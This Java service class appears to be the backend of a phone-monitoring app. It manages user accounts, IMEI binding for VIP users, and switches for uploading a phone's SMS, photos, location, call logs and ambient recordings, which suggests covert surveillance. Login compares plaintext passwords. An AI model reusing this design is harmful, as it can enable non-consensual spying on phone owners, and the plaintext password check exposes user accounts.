package com.monitor.service.impl;

import java.io.File;
import java.util.Date;
import java.util.UUID;

import org.apache.struts2.ServletActionContext;

import com.monitor.dao.AlbumDao;
import com.monitor.dao.CallLogDao;
import com.monitor.dao.ContactDao;
import com.monitor.dao.EnvironmentRecordDao;
import com.monitor.dao.LocationDao;
import com.monitor.dao.MessageDao;
import com.monitor.dao.UserDao;
import com.monitor.po.User;
import com.monitor.service.UserService;
import com.monitor.util.CommenUtil;
import com.monitor.util.EncoderUtil;
import com.monitor.util.FileUtil;
import com.monitor.util.Pager;
import com.monitor.util.RandomUtil;

public class UserServiceImpl implements UserService {
	private UserDao userDao;
	private MessageDao messageDao;
	private AlbumDao albumDao;
	private LocationDao locationDao;
	private CallLogDao callLogDao;
	private ContactDao contactDao;
	private EnvironmentRecordDao environmentRecordDao;

	@Override
	public User login(String phone, String password) throws Exception {
		if (CommenUtil.isEmpty(phone) || CommenUtil.isEmpty(password)) {
			return null;
		}
		User user = userDao.getUserByPhone(phone);
		if (user != null) {
			if (password.equals(user.getPassword())) {
				return user;
			}
		}
		return null;
	}

	@Override
	public Pager<User> getUserByType(int type, int pageSize, int currentPage) throws Exception {
		if (type == 0) {
			return userDao.getAllUser(pageSize, currentPage);
		} else {
			boolean isVip = type > 0 ? true : false;
			return userDao.getUserByVipType(isVip, pageSize, currentPage);
		}
	}

	public void addUser(String phone, String imei, String model) throws Exception {
		User user = userDao.getUserByPhone(phone);
		if (user == null) {
			user = new User();
			user.setModel(model);
			RandomUtil util = new RandomUtil();
			user.setPassword(util.getRandomString(8));
			user.setPhone(phone);
			// 如果手机上没有Imei码，则服务器分配一个Imei码
			if (CommenUtil.isEmpty(imei)) {
				UUID uuid = UUID.randomUUID();
				imei = EncoderUtil.md5Encode(uuid.toString(), false);
			}
			user.setNewImei(imei);
			userDao.addUser(user);
		}
	}

	@Override
	public void updateUser(User user) throws Exception {
		userDao.updateUser(user);
	}

	@Override
	public int setUserVip(long uid, boolean isVip) throws Exception {
		User user = userDao.getUserById(uid);
		if (user == null)
			return 0;
		// 开通vip
		if (isVip) {
			user.setBindImei(user.getNewImei());
			user.setOpenVipDate(new Date());
		} else {
			user.setBindImei("");
		}
		user.setVip(isVip);
		userDao.updateUser(user);
		return 1;
	}

	@Override
	public int rebindImei(long uid) throws Exception {
		User user = userDao.getUserById(uid);
		if (user == null)
			return 0;
		user.setBindImei(user.getNewImei());
		userDao.updateUser(user);
		return 1;
	}

	@Override
	public User getUserByPhone(String phone) throws Exception {
		return userDao.getUserByPhone(phone);
	}

	@Override
	public User setting(long uid, boolean uploadSms, boolean uploadAlbum, boolean uploadLocation, boolean uploadCalllog, boolean uploadEnvironmentRecord) throws Exception {
		User user = userDao.getUserById(uid);
		if (user != null) {
			user.setUploadAlbum(uploadAlbum);
			user.setUploadCalllog(uploadCalllog);
			user.setUploadLocation(uploadLocation);
			user.setUploadSms(uploadSms);
			user.setUploadEnvironmentRecord(uploadEnvironmentRecord);
			userDao.updateUser(user);
		}
		return user;
	}

	@Override
	public User getUserById(long uid) throws Exception {
		return userDao.getUserById(uid);
	}

	@Override
	public int deleteUserById(long uid, String dir) throws Exception {
		// 删除用户后，需要删除联系人，短信，通话记录，地理位置，相册,环境录音等信息
		User user = userDao.getUserById(uid);
		if (user != null) {
			user.setVisible(false);
			user.setBindImei("");
			user.setVip(false);
			userDao.updateUser(user);
			messageDao.deleteMessageByPhone(user.getPhone());
			albumDao.deleteAlbumByUid(user.getId());
			locationDao.deleteLocationByUid(user.getId());
			callLogDao.deleteCalllogByUid(user.getId());
			contactDao.deleteContactByUid(user.getId());
			environmentRecordDao.deleteEnvironmentRecordByUid(user.getId());
			String saveDir = dir + "/" + user.getId();
			String userFileDir = ServletActionContext.getServletContext().getRealPath(saveDir);
			// 删除用户文件目录
			FileUtil.deleteFile(new File(userFileDir));
			return 1;
		}
		return 0;
	}

	@Override
	public void clearData() throws Exception {
		locationDao.clearOneMonthAgoLocation();
	}

	public void setUserDao(UserDao userDao) {
		this.userDao = userDao;
	}

	public void setMessageDao(MessageDao messageDao) {
		this.messageDao = messageDao;
	}

	public void setAlbumDao(AlbumDao albumDao) {
		this.albumDao = albumDao;
	}

	public void setLocationDao(LocationDao locationDao) {
		this.locationDao = locationDao;
	}

	public void setCallLogDao(CallLogDao callLogDao) {
		this.callLogDao = callLogDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	public void setEnvironmentRecordDao(EnvironmentRecordDao environmentRecordDao) {
		this.environmentRecordDao = environmentRecordDao;
	}

}
